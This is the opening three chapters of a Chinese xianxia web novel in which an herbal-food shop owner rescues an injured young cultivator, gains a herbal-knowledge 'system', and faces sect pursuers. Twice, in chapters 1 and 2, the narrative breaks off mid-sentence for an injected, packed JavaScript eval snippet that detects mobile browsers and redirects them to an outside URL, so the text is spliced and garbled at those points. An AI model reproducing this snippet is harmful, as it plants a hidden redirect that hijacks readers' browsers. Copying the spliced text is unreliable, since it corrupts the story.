《我从主角的世界路过》 1. 第 1 章 第一章捡了个少年 青崖镇往东三十里,有片野竹林。 那片竹林我走过不下百回。从我爹还在世的时候,他就常带我来这儿采药。后来爹走了,我一个人,还是走这条路。竹林里的每块石头、每棵老树,我都熟得很。哪片坡地长黄精,哪块阴湿处长灵芝,哪条溪沟边有野生的薄荷,闭上眼都能摸到。 这日我去采黄精。 前些日子落了半个月的雨,山里潮得很,泥土踩上去软绵绵的,每一步都陷下去半寸。雨后的竹林有一种特别的味道,湿润的泥土混着腐叶的酸气,还有竹子特有的清香,丝丝缕缕地往鼻子里钻。阳光从竹叶的缝隙里漏下来,在地上洒了一片片碎金,风一吹,那些光斑就晃啊晃的,晃得人眼睛发花。 我背着竹篓,手里拎着小锄头,沿着熟悉的山路往深处走。露水打湿了裤腿,凉丝丝地贴在脚踝上。林子里的鸟叫得欢,叽叽喳喳的,偶尔有几声布谷鸟的叫声从远处传来,空灵灵的,在山谷里荡出回音。 走到那棵老松树附近的时候,我停下了脚步。 那棵松树有些年头了,树干粗得要两人合抱,树皮皴裂得像老人的手背。松枝伸得老远,遮住了一大片天,树下常年见不着多少日光,所以寸草不生,只有一层厚厚的松针铺着,踩上去软绵绵的。 我本来是想在松树周围找找有没有灵芝——这种老树下头最容易长灵芝——可我还没走近,就看见了那个人。 他蜷在松树根底下,像一堆被人丢弃的破布。 我先是吓了一跳,心跳砰砰的,愣在原地好一会儿没敢动。山里时不时有摔死的采药人,我爹就曾经在山沟里发现过一个,那场面我到现在还记得。我咽了口唾沫,攥紧了手里的小锄头,慢慢挪过去。 走近了才看清,是个少年。 看着也就十五六岁的模样,穿着一身灰扑扑的衣裳,已经看不出原本的颜色了。那衣裳破得不成样子,好几处都裂开了口子,露出里面的皮肉。他就那么侧躺着,身子蜷成一团,脸朝着松树根,一动不动。 我蹲下身子,先看见的是他的手。 那双手瘦得吓人,指节分明,手背上青筋暴起,指甲缝里全是泥。手腕上有几道深深的血口子,已经结了黑红的痂,但边缘还在往外渗着淡黄色的水。 我伸手探了探他的鼻息。 还有气。 但很弱,弱得我差点没感觉到。那气息拂在我手背上,温热的一点,若有若无的,像深秋里最后一只蚊蝇的挣扎。 我把他翻过来。 他身子软得很,一点力气都没有,翻过来的时候头往旁边一歪,像根被折断的枝条。等我看清他的脸,心里咯噔一下。 很年轻的一张脸,眉眼生得极好。剑眉,眉峰很利,像是用刀裁出来的。鼻梁挺直,嘴唇却紧紧抿着,抿成一条发白的线。他的脸色白得吓人,不是那种健康的白,是像纸一样的白,隐隐透着一层青灰。眼窝深陷,睫毛又长又密,在眼睑下投出一小片阴影。 他眉头紧紧皱着,眉心拧出一个疙瘩,像是在做噩梦。嘴唇动了动,发出几个含糊不清的音节。 “……长老……不是我……” 声音很轻,轻得像梦呓,从嗓子眼里挤出来,带着一股说不出的委屈。 我听不大懂,也没工夫细想。 这人伤成这样,扔在这儿肯定活不过今晚。夜里山里的野狗多,他那身子骨,用不了一个时辰就能给啃成白骨。 可我一个开药膳铺的,背个大活人回去算怎么回事? 我蹲在那儿犹豫了一会儿。 山风吹过来,松针簌簌地响,像有人在耳边小声说话。远处有只乌鸦叫了两声,难听得很,像是在催我拿主意。 他又动了动嘴唇,这回声音大了些,带着颤抖:“……冷……” 那声音像根针,扎了我一下。 得,算我倒霉。 我把背篓往身上紧了紧,弯腰把他捞起来。入手的一瞬间,我心里又咯噔一下——这小子太轻了,轻得不正常,我一只手就能把他拎起来。他像一把干柴,像一捆枯骨,没有半点分量。 我把他的胳膊搭在肩上,另一只手搂着他的腰,使劲往上一耸,把他背了起来。 他软软地趴在我背上,头耷拉在我肩膀旁边,呼吸扑在我脖子上,热热的,又弱弱的。 “你小子要是死了,”我咬着牙一步一步往山下走,“我非得把你背回来再扔一回。” 他没应声,只是在我背上又哆嗦了一下。 那是从骨子里透出来的哆嗦,像三九天里穿着单衣站在雪地里的人。我能感觉到他整个身子都在轻微地颤抖,一下一下的,透过衣裳传到我身上。 我闭上嘴,加快了脚步。 回到铺子的时候,天已经擦黑了。 青崖镇不大,从东头走到西头用不了一炷香的工夫。我的铺子就在镇子中间,靠着十字街口,门口有棵老槐树,树上挂着一块褪了色的木招牌,写着“沈记药膳”四个字。 铺子是祖上传下来的,前店后宅。临街三间,中间是店面,两边一间是灶房一间是库房。后面是个小院子,东西各两间厢房,我住东边那间,西边那间空着,放些杂物。 我背着那少年推开虚掩的木门,穿过店面,进了后院。 院子里那棵老槐树遮了大半个天,树冠伸得老高,叶子密密麻麻的,把夕阳光筛成一片片碎金。树下有口井,井台上长着青苔,旁边是张石桌,几个石凳,桌上放着我早上没收的簸箕,里头晒着切好的党参片。 我顾不上这些,直接把他背进西厢房。 那间房空了很久,里头只有一张木床、一张桌子、一把椅子。床上铺着旧褥子,上头落了一层薄薄的灰。我用袖子胡乱掸了掸,把那少年放上去。 他落在床上的时候,连闷哼都没哼一声,就那么软软地瘫在那儿,像一摊没有骨头的肉。 我去灶房打了盆温水,端进屋来,开始给他擦洗伤口。 油灯点起来,火苗一跳一跳的,在墙上投下摇晃的影子。我把灯挪近些,凑着那点昏黄的光,仔细看他身上的伤。 这一看,我愣住了。 他身上的那些伤,我活二十三年,没见过。 不是刀剑砍的,也不是摔的。那些伤口从里面往外翻着,边缘有焦黑的痕迹,像是有什么东西从他身体里往外钻,硬生生撕出来的。最密的地方是胸口,一道道口子纵横交错,有些已经结了痂,有些还在往外渗着淡黄色的液体,在灯光下泛着诡异的光。 我伸手轻轻碰了碰那些伤口边缘。 烫的。 不是发烧那种烫,是像火烧过之后残留的余温,从皮肉深处透出来的热。他明明浑身冰凉,这些伤口却还留着那样的温度。 我心里有些发毛。 但我没工夫细想,得先救人。 我翻出爹留下来的金疮药。那是我爹亲手配的方子,用白及、血竭、乳香这些药材磨成粉,止血生肌最灵。我拿干净的布蘸着温水,把那些伤口周边的血污轻轻擦掉,然后撒上药粉,拿布条一圈一圈裹好。 他的身体在颤抖。 从头到尾都在颤抖,不是那种剧烈的抖,而是细细的、持续的抖,像风中的蛛丝。我每碰他一下,他就抖得更厉害些,眉头皱得更紧些,嘴唇抿成一条线,却始终没有叫出声来。 伤口太多,光是胸口的就裹了七八道布条。然后是手臂,是后背,是大腿。等我把最后一处伤口裹好,盆里的水已经红透了,像兑了胭脂。 我又去灶房熬了一碗姜汤。 姜汤是用老姜熬的,放了些红糖,驱寒最好。我端着碗进屋,把他扶起来靠在我身上,一点一点给他灌下去。 他的头软软地垂着,喉咙动了动,把汤咽下去。有几滴顺着嘴角流下来,淌在我手背上,烫烫的。 忙活完这些,天已经黑透了。 院子里的老槐树黑黢黢的一团,风吹过,叶子哗哗地响。远处传来几声狗叫,隐隐约约的,像是从镇子另一头飘过来的。 我坐在床边的凳子上,靠着墙,借着油灯的光打量他。 这小子长得真不错。 剑眉星目,鼻梁挺直,就是太瘦了,颧骨都有些凸出来,脸颊深深地凹下去。嘴唇干裂起皮,颜色淡得几乎没有。睡着的时候眉头还皱着,眉心拧成个疙瘩,像是在跟谁较劲。 他的睫毛很长,在眼睑下投出一片淡淡的阴影,随着他轻微的呼吸一颤一颤的。 “也不知道是哪家的孩子。”我嘀咕了一句,起身去灶房,给他炖上粥。 夜里他发了烧。 烧得不轻。 我是被他的呻吟声惊醒的。那时我已经靠着床沿睡着了,迷迷糊糊听见有人哼哼,猛地睁开眼,就看见他在床上翻来覆去,身子扭得像条蛇。 我伸手一探他的额头,烫得吓人。 那种烫不是寻常发烧的烫,是像一块刚从火里拿出来的炭,隔着掌心都能感觉到那股灼人的热气。我赶紧缩回手,手心已经红了一片。 他的脸烧得通红,两团病态的潮红浮在颧骨上,嘴唇却干得起了皮,一层一层翻起来,像久旱的土地。他不停地动着,头摇来摇去,身子扭来扭去,嘴里一直在说胡话。 “我没有……不是我偷的……” 声音沙哑得厉害,从喉咙里挤出来,带着哭腔。 “长老……别赶我走……” 他的眉头拧成一团,眼角有什么东西在闪烁,不知道是汗还是别的什么。 “我能修……我能修的……” 说到最后,声音已经低得听不清了,只剩嘴唇在动,一下一下的,像离了水的鱼。 我去井里打了冷水,浸了帕子,敷在他额头上。 帕子刚一贴上,他就安静了些,眉头松开一点。但没过多久,又开始动起来。我换了又换,一盆水很快就温了,再去打一盆。来来回回,跑了一夜。 油灯里的油添了两回,火苗始终一跳一跳的,在墙上投下我晃来晃去的影子。 窗外的天黑沉沉的,没有月亮,只有风吹着老槐树的叶子沙沙地响。 我坐在床边,一遍遍给他换帕子,一遍遍听他那些断断续续的胡话。 “我没有偷……我真的没有……” “我想修炼……让我修炼……” “别打我……求你们别打我……” 最后一句,他声音压得极低,低得像是在跟自己说: “我只是想……被人看见……” 我听着这些胡话,心里大概有了点数。 这小子,八成是个修仙的。 青崖镇虽然偏僻,但离灵剑宗不算太远。往东一百多里就是灵剑山,天气好的时候能看见天边那些青灰色的山峰,云雾缭绕的,像画儿一样。偶尔能看见天上有仙人飞过,衣裳飘飘,踩着剑或者坐着什么法器,一闪就过去了,比鸟儿还快。 镇上的老人爱讲些仙门里的故事。什么“灵根”啊“资质”啊,谁家孩子要是被仙人看中了带走,那就是祖上积了八辈子的德。我听得多,多少知道一点。 这小子说“能修”,又说“偷”,估计是在宗门里出了什么事。 但我没往深里想。 修仙也好,凡人也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357909|199708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罢,这会儿他就是个发着烧、说胡话的半大孩子。一个被人打得半死、扔在山里等死的半大孩子。 我把帕子浸凉了,重新敷在他额头上。 帕子冰凉,贴上他额头的时候,他浑身一抖,但很快又安静下来。 “行了行了,别念叨了。”我低声说,声音轻得像怕惊着他,“没人赶你走,好好睡吧。” 不知道是不是听见了我的话,他居然真的安静下来。 呼吸渐渐平稳,眉头慢慢舒展,身子也不再扭动了。他沉沉地睡过去,脸上的潮红褪下去一些,只剩两团淡淡的粉,像个正常发烧的人了。 我打了个哈欠,靠着床沿,也睡着了。 第三天早上,他醒了。 我是被一阵轻微的响动弄醒的。睁开眼,就看见他靠坐在床头,怔怔地盯着窗外的老槐树看。 日光照进来,从窗户纸里透过来,柔柔的,落在他的脸上。那张脸还是苍白,但比刚来时好多了,至少有了些人色。眼睛睁着,黑眼珠亮亮的,正出神地望着窗外。 窗外那棵老槐树刚长出新叶,嫩绿嫩绿的,在晨光里泛着一层淡淡的金色。有两只麻雀在枝头跳来跳去,叽叽喳喳地叫,叫一阵就扑棱着翅膀飞走了。 他就那么看着,一动不动,像是要把那棵树、那些叶子、那些鸟,都刻进眼睛里。 听见动静,他转过头来。 那一瞬间,他的眼神凌厉得像一把刀。 那种眼神我见过。小时候去山里,碰见过一只受伤的野狼,它就是这样看我的——警惕,防备,随时准备拼命。那眼神只持续了一瞬,然后迅速收了回去,变成一种小心翼翼的打量。 “你醒了?”我从床沿上站起来,浑身骨头都在响,坐了一夜,腰酸背疼的。 我把床头矮几上的粥碗端起来,递给他:“躺好,别乱动。” 他没动,也没说话,只是盯着我看。 那双眼睛很黑,黑得像两口深井,里头藏着什么东西,看不透。他盯着我,从我的脸看到我的手,从我的手看到我身上的衣裳,最后又回到我脸上。 我也不急,拉了张凳子坐下,给自己倒了杯水。 水是昨晚的凉白开,喝下去从嗓子眼凉到胃里,倒是提神。 “这是哪儿?”他终于开口,声音哑得像破锣,像是很久没说过话的人。 “青崖镇。”我说,“我姓沈,开药膳铺的。你在后山晕倒了,我把你背回来的。” 他沉默了一会儿,垂下眼,低声说:“谢谢。” 那声谢谢很轻,轻得几乎听不见。他的头低着,睫毛垂下来,遮住了眼睛里的神色。 “不客气。”我指了指那碗粥,“先把粥喝了。你三天没吃东西了,别一下子吃太多,先喝点粥暖暖胃。” 粥是小米粥,熬得烂烂的,放了几颗红枣,甜丝丝的。我特意多熬了一会儿,就怕他虚弱的肠胃受不了。 他看了看那碗粥,又看了看我,慢慢伸手端起来。 他手上有伤,裹着厚厚的布条,端碗的时候抖得厉害。碗在他手里晃来晃去,粥差点洒出来。我想伸手帮忙,他往后一缩,躲开我的手,自己咬着牙端稳了,一口一口慢慢喝。 他的手抖得厉害,每喝一口都要停下来歇一歇,碗里的粥晃出一圈一圈的涟漪。但他始终没让碗洒出来,也没让我帮忙。 我看着他喝粥,忽然问:“你叫什么?” 他顿了一下,抬起头看我。 那眼神里,有警惕,有犹豫,还有些别的什么。像一只受惊的兔子,随时准备跑。 我摆了摆手:“不想说就算了。我就是随口一问,你住着就是,等伤好了再说。” 他又低下头,喝完了那碗粥。 喝完,他把碗放回矮几上,抬起眼看我。 “我叫于玄。”他说。 声音还是哑,但比刚才稳了些。 于玄。 我点点头:“于玄,这名字不错。” 他愣了愣,似乎没想到我这么轻易就接受了。那双眼睛里闪过一丝迷茫,像是在奇怪我为什么不追问,为什么不怀疑。 我没再多问,端起空碗往外走:“你再躺会儿,晚上我给你炖个鸡汤补补。” 走到门口,我听见他在身后说:“你……不怕我?” 我回过头,看着他。 日光从窗户照进来,落在他身上,把他整个人的轮廓都染成淡淡的金色。他缩在床角,瘦得皮包骨头,一脸的病容,裹着那些乱七八糟的布条,活像个被人丢弃的破布娃娃。 可那双眼睛,那双又黑又深的眼睛里,却藏着什么东西。 不是警惕,不是防备,是一种更复杂的东西。像期待,又像害怕。像想被看见,又怕被人看见。 我说:“怕什么?怕你吃了我的鸡?” 他愣住了。 那双眼睛里的神色变了好几变,最后竟然弯了一下。 只是很轻微的一下,不仔细看都看不出来。但我看见了。 他没说话。 我笑了笑:“行了,好好躺着吧。在我这儿,没那么多讲究。” 门帘落下,遮住了他的脸。 院子里的老槐树在风中轻轻摇着,叶子哗啦啦地响。我端着空碗站在门口,忽然想起他说的那句话。 “我只是想……被人看见。” 我抬头看了看天。 天很蓝,蓝得像洗过一样。几朵白云慢慢飘过去,悠悠的,懒懒的。 我不知道他在想什么,也没问。 反正来日方长。 该说的,总会说的。 2. 第 2 章 第二章药膳铺的日子 于玄的伤养了半个月,总算能下地走动了。 头回见他站起来,我才发现这小子身量不矮,只是太瘦,站在那里跟根竹竿似的,风一吹就能倒。他扶着门框,试探着往外迈了一步,腿软得像面条,晃了两晃才站稳。 “你这身子骨也太单薄了。”我在灶房门口择菜,扬声说,“得补,回头给你炖个黄芪排骨。” 他站在院子里,听见我的话,转过头来看我。 日光从槐树叶子的缝隙里漏下来,在他身上洒了一片斑驳的光影。他穿着我那身旧衣裳,袖子长了一截,挽了好几道才露出手腕。那手腕细得像麻秆,上头还缠着布条,白得几乎透明,能看见底下青色的血管。 那眼神还是带着些警惕,但比刚醒那会儿好多了。像一只在陌生地方待久了的野猫,虽然还不敢完全放松,但至少不会见了人就跑。 “你……每天就想着吃?”他问。声音还是有点哑,但比刚醒那会儿好多了。 “不然呢?”我把择好的马齿苋扔进筐里,抖了抖手上的泥,“人是铁饭是钢,不吃哪来的力气养伤?你以为你那条小命是怎么捡回来的?还不是靠我那几碗粥吊着。” 他没接话,走过来蹲在我旁边,看着我择菜。 他蹲下的动作很慢,像是怕扯着身上的伤口。蹲稳之后,就那么安安静静地待着,眼睛却一直盯着我手上的动作。 院子里很静,只有老槐树上的知了在叫,一声长一声短,吵得人心烦。风吹过来,带着灶房里飘出的药香,丝丝缕缕的,是早上炖的当归鸡汤的味道。 “这是什么?”他忽然指着筐里的东西。 我低头看了看他指的那棵菜:“马齿苋。” “马齿……苋?”他把这三个字在嘴里嚼了一遍,像是在品味什么了不得的东西。 “对,马齿苋。”我拿起一棵,把根上的泥抖掉,“这东西贱得很,有点土就能活。后院墙角长了一大片,不花钱,焯水拌着吃,清热利湿。夏天吃最好,去火。” 他伸手捏起一棵,翻来覆去地看。那动作小心翼翼,像是在对待什么稀世珍宝。他把叶子翻过来,看看背面,又把茎掰开一点,凑近了闻闻,眉头微微皱着,神情专注得可笑。 我被他逗笑了:“没见过?” 他沉默了一会儿,低声说:“见过,只是不知道叫什么。” 这话说得奇怪。 我看了他一眼,想问点什么,又咽了回去。 他也没解释,就那么拿着那棵马齿苋,继续翻来覆去地看。阳光落在他手上,把那双手照得几乎透明。那双手上还缠着布条,布条边缘露出几道浅浅的疤痕,粉红色的,是新长出的嫩肉。 我没再问。 于玄住下来之后,我的日子变了些样。 从前是一个人,买菜做饭看铺子,忙是忙点,但也清静。早上起来熬汤,中午招呼几个熟客,下午去后山转转,傍晚回来晒药材,晚上算账关门。一天到晚,除了偶尔跟来买药材的山民说几句话,嘴巴基本上用不着。 现在多了一个人。 灶房里的锅碗瓢盆就得多洗一份。以前我吃完饭,碗往盆里一泡,想起来才洗,想不起来就搁到第二天。现在不行了,得按时洗,因为他会默默把碗筷收拢到一起,坐在井台边,一个一个洗干净,再用干布擦干,放回碗柜里。 米缸里的米下得快些。以前一斗米能吃小半个月,现在十天就见底。这小子看着瘦,饭量倒不小。有一回我炖了一锅排骨,他一个人吃了三大碗饭,吃完才意识到不对劲,低着头不吭声,耳朵尖红红的。我说没事,年轻能吃的,多吃点好得快。他抬起头看我一眼,那眼神里的东西,我说不上来。 院里的晾衣绳上也多了几件素色的衣裳。我那身旧衣裳他穿着太大,我翻箱倒柜找出一身我少年时穿的,洗得发白了,补丁摞补丁,但至少合身。他穿上之后,站在院子里,让我看。我说挺好,就是瘦了点,多吃几顿就好了。他低头看看自己,嘴角动了动。 他不怎么说话,但眼里有活。 我看铺子的时候,他就坐在门槛上,安安静静地晒太阳。阳光从门帘的缝隙里漏进来,一道一道落在他身上。他就那么坐着,背靠着门框,膝盖曲起来,胳膊搭在膝盖上,头微微仰着,眼睛半眯着,像一只晒太阳的猫。 有时候有客人来,他会站起来,往旁边让一让。客人走了,他又坐回去,还是那个姿势,还是那个表情。 我去后山采药,他就跟着。 起初我不同意,说他伤还没好利索,别瞎跑。他也不争辩,就站在门口看着我,也不说话。那眼神,怎么说呢,像一只怕被扔下的小狗。我被他看得没办法,只好说行行行,跟着吧,走不动了可别怪我背你。 他就那么跟着我,一趟又一趟。 山路不好走,有些地方陡得很,得抓着树枝攀上去。他也不吭声,就一步一步跟着,我走多快他走多快,我停他也停。我回头看他,发现他脸色发白,额头上全是汗,嘴唇都咬出印子了,却一声不吭。 “歇会儿。”我在一块大石头上坐下,拍了拍旁边。 他走过来,在我旁边坐下。 山风吹过来,带着草木的清香。从这儿望下去,能看见整个青崖镇,灰瓦白墙的房子错落着,炊烟袅袅地升起来。更远的地方是田野,一块一块的,像拼起来的布。再远,就是连绵的山,青黛色的,一重一重望不到头。 他顺着我的视线看过去,看了很久。 “真好看。”他说。 我点点头。 他又问:“你每天都走这么远?” “也不每天。”我说,“看需要。药材这东西,有季节的。该挖的时候就得挖,错过了就得等明年。” 他沉默了一会儿,忽然问:“你怎么知道该什么时候挖?” 我愣了一下。 这个问题,我还真没想过。 怎么知道的?我爹教的。我爹又是怎么知道的?我爷爷教的。一代一代传下来,就像老槐树一年一年落叶,一年一年发芽,自然而然。 可这话说出来太简单了。 我正想着怎么回答他,脑子里忽然响起一个声音。 【叮——检测到宿主正在传授采药知识,是否开启【药材百科】辅助功能?】 我吓了一跳,差点从石头上摔下去。 什么声音? 我左右看了看,山林里静悄悄的,只有风在吹。于玄正看着我,眼神疑惑:“怎么了?” “没、没什么。”我稳了稳心神,“刚才好像有只虫子飞过去了。” 他点点头,没再问。 可那声音又响了。 【【药材百科】已默认开启。当前可查询:黄精、苍术、马齿苋……】 我脑子里忽然多出了一些东西。 不是想起来的,是突然出现的,就那么硬生生塞进来的。黄精的习性、生长周期、最佳采挖时节、炮制方法、药用价值……密密麻麻的信息,像有人在耳边念,又像自己本来就知道,只是一直没想起来。 我愣了好一会儿。 这什么玩意儿? 我活了二十三年,从来没遇见过这种事。 可那声音不响了,那些信息就那么安安静静地待在我脑子里,等着我用似的。 我偷偷掐了一下自己的大腿。 疼。 不是做梦。 那是什么? 我想了半天,想不出个所以然。最后只能安慰自己:可能是爹娘在天有灵,保佑我呢。 于玄在旁边问:“你怎么了?脸色不太好。” “没事没事。”我站起来,拍了拍屁股上的土,“走吧,该挖了。” 他跟着站起来,继续跟在我身后。 我一边走,一边在心里试着问:黄精? 脑子里立刻浮现出一堆信息:黄精,百合科黄精属植物,根茎入药,性平味甘,补气养阴,健脾润肺……最佳采挖时节,春秋两季,以秋季为佳…… 我又试着问:苍术? 又是一堆信息:苍术,菊科苍术属植物,根茎入药,性温味辛苦,燥湿健脾,祛风散寒…… 我服了。 这玩意儿真好使。 那天之后,我慢慢摸清了这“玩意儿”的规律。 它不是什么都能回答。我问过它于玄是什么来路,它没反应。我问过明天会不会下雨,它也没反应。但凡是跟药材、跟吃食、跟养伤养病有关的东西,它基本上都能说出个子丑寅卯来。 比如于玄那伤,我问它怎么养。 它就给我列了一堆:初期宜清淡,忌油腻;中期可适当进补,推荐黄芪炖鸡、当归排骨;后期宜固本培元,可选用人参、灵芝等珍贵药材…… 比如马齿苋,我问它除了拌着吃还能怎么吃。 它就说:可煮粥,可做馅,可晒干备用,亦可捣烂外敷,治疗疮疖肿毒…… 我琢磨着,这玩意儿八成是专门伺候我这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357910|199708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个开药膳铺的。 行吧,挺好。 反正我也没什么大志向,能把铺子开好,把病人伺候好,就知足了。 这天,于玄又在院子里帮我晒药材。 他蹲在竹席边上,把那些切好的党参片一片一片摆开,摆得整整齐齐,间距都一样,像排队似的。阳光照在他身上,把他额前的碎发染成淡金色。 我坐在石桌旁边,看着他的背影。 这半个月,他变了不少。 脸上有肉了,不再是刚来时那副皮包骨头的模样。气色也好了,不再是那种惨白,而是透着点红润。走路稳当了,不再像风吹就倒。话也多了一点,虽然还是不多,但偶尔会主动问点什么。 比如现在。 “沈当归。”他头也没回,忽然开口。 “嗯?” “这些药材,你都认识?” “差不多吧。”我说,“从小跟着我爹学的。” 他沉默了一会儿,又问:“学了很久吧?” 我想了想:“也没觉得多久。小时候我爹教我认,我就认。认着认着,就都会了。” 他转过身,看着我。 阳光从他背后照过来,把他的脸笼在一片阴影里,看不清表情。 “你爹……”他顿了顿,“是个什么样的人?” 我愣了一下。 很少有人问我这个。 “他啊……”我往椅背上靠了靠,眯着眼睛想了想,“就是个普通郎中。每天背着药箱,东家出西家进,给人看病。有时候收不着诊费,人家给几个鸡蛋,他也乐呵呵地接着。我娘走得早,他一个人把我拉扯大,又当爹又当妈。” 于玄听着,没说话。 “他教会我认药,教会我熬汤,教会我做人。”我笑了笑,“就是没教会我怎么把铺子开大点,挣多点钱。” “为什么要开大?”他问。 “什么?” “为什么要挣更多钱?”他看着我,“你现在这样,不好吗?” 我被他问住了。 好一会儿,我才说:“好像……也没什么不好。” 他点点头,转回去继续摆他的党参片。 我看着他,忽然想起那晚他说的胡话。 “我只是想……被人看见。” 我张了张嘴,想问他点什么,又咽了回去。 算了。 他愿意说的时候,自然会说。 傍晚的时候,我去灶房炖汤。 于玄跟进来,站在门口看我。 灶房里烟气缭绕,灶膛里的火烧得正旺,噼里啪啦地响。我把剁好的排骨下锅,焯水,去浮沫,然后重新加水,放进姜片、葱段,还有几片黄芪。 “这是什么?”他凑过来看。 “黄芪。”我说,“补气的。你这身子骨,得慢慢补。” 他站在我旁边,看着锅里的水慢慢烧开,咕嘟咕嘟冒着泡。灶膛里的火光映在他脸上,把他的眼睛照得亮亮的。 “沈当归。”他忽然开口。 “嗯?” “你为什么要对我这么好?” 我手上的动作顿了顿。 为什么? 我想了想,说:“碰上了,总不能见死不救吧。” “可是……”他低下头,“你不怕我是坏人?” 我笑了:“你是吗?” 他没说话。 “行了,”我盖上锅盖,拍了拍手,“坏人也好,好人也罢,在我这儿,你就是于玄。饿了吃饭,渴了喝水,伤了养伤。没那么多讲究。” 他抬起头看我。 灶膛里的火光在他眼睛里跳跃,亮晶晶的。 “沈当归。”他说。 “嗯?” “你是个好人。” 我愣了愣,随即笑了:“这年头,好人可不是什么好词儿。” 他没笑,只是认真地看着我。 “在我这儿,”他说,“是。” 那天晚上,我又起来上茅房。 从茅房出来,路过他窗前,看见他坐在床上,盯着窗户看。月光从窗户纸里透进来,照在他脸上,把那张年轻的脸照得白白的。 他没发现我,就那么坐着,一动不动。 我站在院子里看了一会儿。 风吹过来,老槐树的叶子哗哗地响。月亮挂在天上,又大又圆,把整个院子都照得亮堂堂的。 我转身回去了。 年轻人嘛,总有些心事。 3. 第 3 章 第三章麻烦上门 于玄住到第二个月,麻烦上门了。 那天傍晚我正在后院收晾干的陈皮。 院子里晾着七八个簸箕,里头铺着新剥的橘子皮,一片一片的,在夕阳下泛着金红色。这半个月日头好,陈皮晒得透,轻轻一掰就嘎嘣脆,闻着有一股子冲鼻的辛香。 我把簸箕一个一个收起来,往库房里搬。老槐树的影子拉得老长,从院墙根一直伸到井台边上。天边的云被烧成橘红色,一层一层的,像谁打翻了胭脂缸。 【叮——检测到宿主正在处理陈皮,是否查询最佳储存方式?】 “不用。”我在心里回了一句。 这系统跟了我半个月,我已经习惯了它时不时冒出来。一开始还吓一跳,现在只觉得方便。想查什么药材,心里一想,它就给出来,比翻书都快。 正往库房走,忽然听见前头“咣当”一声响。 那声音太响了,不是有人推门,是门被撞开的。紧接着是柜台撞到墙上的闷响,还有什么东西稀里哗啦掉在地上。 我扔下簸箕就往前跑。 穿过灶房,掀开门帘,就看见三个人站在铺子里。 三个穿青灰袍子的人。 为首的是个中年男人,面皮白净得不像话,下巴尖得像锥子,一双眼睛细长细长的,冷飕飕地在我身上转了一圈。那眼神像蛇,黏腻腻的,看得我浑身不自在。 他身后站着两个年轻人,穿着一样的青灰袍子,腰间都挂着剑。剑鞘黑漆漆的,看不出什么材质,但一看就不是凡品。 铺子里一片狼藉。柜台被撞歪了,上面放着的算盘、账本、茶壶全掉在地上。装药材的坛子倒了两三个,党参片撒了一地,空气里飘着药材的苦香。 “你这里有没有收留过一个年轻男子?”锥子脸问。声音不高,但冷得很,像冬天井里的水。 我心里咯噔一下。 于玄的脸在我脑子里一闪而过。 但我脸上没露出来,只是装出茫然的样子:“什么男子?小店就我一个人。” “一个人?”锥子脸的眼睛在我身上又转了一圈,“那后院的晾衣绳上,怎么有两件衣裳?” 我愣住了。 坏了。 今天早上于玄洗了他那身衣裳,晾在院子里,我还没来得及收。 “那、那是我的。”我硬着头皮说,“旧的换下来洗洗。” 锥子脸冷笑一声,没理我,对身后的人说:“搜。” 那两个年轻人立刻往后院闯。 我想拦,刚伸出手,就被那锥子脸一把推开。他力气大得吓人,我踉跄着往后退了好几步,后背“砰”的一声撞在柜台上,疼得我倒吸一口凉气,半天喘不上气。 “你们这是做什么——”我话没说完,就听见后院传来一声闷响。 砰! 像是有人撞在墙上。 紧接着是一阵噼里啪啦的声音,竹竿倒地,簸箕翻飞,还有人在闷哼、惨叫。有什么东西砸在地上,咣当一声,听着像井台上的木桶。 我顾不上疼,挣扎着爬起来,掀开门帘就往后院跑。 月光底下,院子里一片狼藉。 晒药材的竹席翻了好几张,党参、黄芪、枸杞撒了一地。晾衣绳断了,于玄那件刚洗的衣裳掉在地上,沾满了泥。 于玄站在院子中央,手里握着一根青竹竿。 那根竹竿是我从后山砍来的,一直立在墙角,用来挑高处的东西。于玄握着它,竹竿一头抵在地上,另一头斜指着天。他站得笔直,像一根绷紧的弦。 他对面躺着那两个年轻人。 一个捂着肚子,蜷在地上哎哟哎哟地叫。另一个抱着腿,整个人缩成一团,脸都白了,豆大的汗珠从额头上往下滚。 月光底下,于玄的脸色白得吓人。 不是害怕那种白,是像纸一样的白,白得几乎透明。他胸口剧烈地起伏着,大口大口喘气,嘴角有一道细细的血痕,在月光下泛着暗红。 锥子脸跟在我后面进了院子。他看见于玄,眼睛顿时亮了,那眼神就像饿狼看见了肉。 “果然在这里!” 他一步跨进院子,从怀里掏出个什么东西。 那东西只有巴掌大小,黑漆漆的一团,看不出是什么。他往空中一抛,那东西迎风便长,眨眼间就变成一张大网,铺天盖地朝于玄罩下去。 那张网黑得像墨,网眼细细密密,边缘泛着幽幽的寒光。它兜头落下来,带着一股腥风,像一只张开巨口的怪兽。 于玄挥起竹竿去挡。 竹竿碰上网的一瞬间,发出一声脆响。 断了。 那竹竿就像豆腐做的,碰上网就断成两截。断口整整齐齐,像是被什么锋利的东西切断的。 于玄愣了一下,往后退了一步。 那张网继续往下落。 眼看就要把他罩住,他忽然回头,看了我一眼。 那一眼里,有太多东西。 有害怕,有不舍,有愧疚,还有别的什么。那种眼神我见过——小时候我爹送我去学堂,我站在学堂门口回头看他的时候,他就是那样的眼神。 像是要把我看进眼睛里,刻在心上。 我来不及想明白那都是什么,就见他身子一晃。 然后他整个人化作一道流光。 